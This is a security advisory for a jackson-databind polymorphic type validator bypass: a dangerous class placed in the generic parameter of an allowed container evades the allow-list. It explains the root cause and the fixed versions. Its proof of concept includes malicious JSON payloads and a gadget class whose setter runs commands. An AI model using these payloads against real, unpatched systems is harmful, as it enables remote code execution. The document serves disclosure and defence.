CVE-2026-54512: jackson-databind PolymorphicTypeValidator Bypass via Generic Type Parameters
jackson-databind's type allow-list can be completely bypassed by smuggling a dangerous class inside the generic parameter of a permitted container type, enabling arbitrary class instantiation and pote

The problem
When polymorphic typing is enabled, `DatabindContext._resolveAndValidateGeneric()` only checks the raw container class name (the part before `<`) against the configured PolymorphicTypeValidator. The nested generic type arguments are never validated.
After the container passes the allow-list check, `TypeFactory.constructFromCanonical()` builds the full parameterized type and returns it. The nested argument is then loaded via `Class.forName(name, true, loader)`, instantiated, and populated with attacker-controlled property values.
An attacker who controls the type ID field can therefore load any class on the classpath, making a carefully configured `BasicPolymorphicTypeValidator` allow-list completely ineffective.
Proof of concept
// Mapper configured with a tightly scoped PTV allow-list:
BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
.allowIfSubType("java.util.ArrayList")
.build();
ObjectMapper mapper = JsonMapper.builder()
.polymorphicTypeValidator(ptv)
.build();
// Malicious JSON (Wrapper.value is Object with @JsonTypeInfo(use=Id.CLASS, include=As.WRAPPER_ARRAY)):
// The container "java.util.ArrayList" passes the PTV check.
// "com.evil.EvilGadget" is never checked and is loaded, instantiated,
// and its setter called with attacker-supplied data.
{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}
// Variant: smuggle via map key
{"value":["java.util.HashMap<com.evil.EvilGadget,String>",[["key"],"val"]]}
// Variant: nested generic
{"value":["java.util.ArrayList<java.util.ArrayList<com.evil.EvilGadget>>",[[[{"cmd":"calc.exe"}]]]]}
// Minimal gadget skeleton that triggers RCE via setter side-effect:
// package com.evil;
// public class EvilGadget {
// public void setCmd(String cmd) throws Exception {
// Runtime.getRuntime().exec(cmd);
// }
// }The root cause is CWE-184: the PTV validation in `_resolveAndValidateGeneric()` is incomplete. It strips everything after the first `<` and checks only the container class, then hands the full canonical string to `TypeFactory.constructFromCanonical()`, which resolves every type parameter without further security checks.
Commit 434d6c511 fixes this by adding a recursive post-construction walk over each resolved type parameter. Each non-trivial parameter (excluding `Object` wildcard placeholders and `Enum` types) is now passed back through the full PTV chain. If any parameter fails validation, `InvalidTypeIdException` is thrown before any instantiation occurs.
The fix
Upgrade to jackson-databind 2.18.8, 2.21.4, or 3.1.4. All three lines received the fix in the same coordinated release on June 4, 2026 (commit 434d6c511). There is no configuration-only workaround: the vulnerability bypasses the validator itself, so hardening the allow-list does not help.
Disabling polymorphic typing entirely (`MapperFeature` default typing off, no `@JsonTypeInfo` on `Object`-typed fields) eliminates the attack surface if the feature is not required.
Reported by Omkhar Arasaratnam and caveeroo.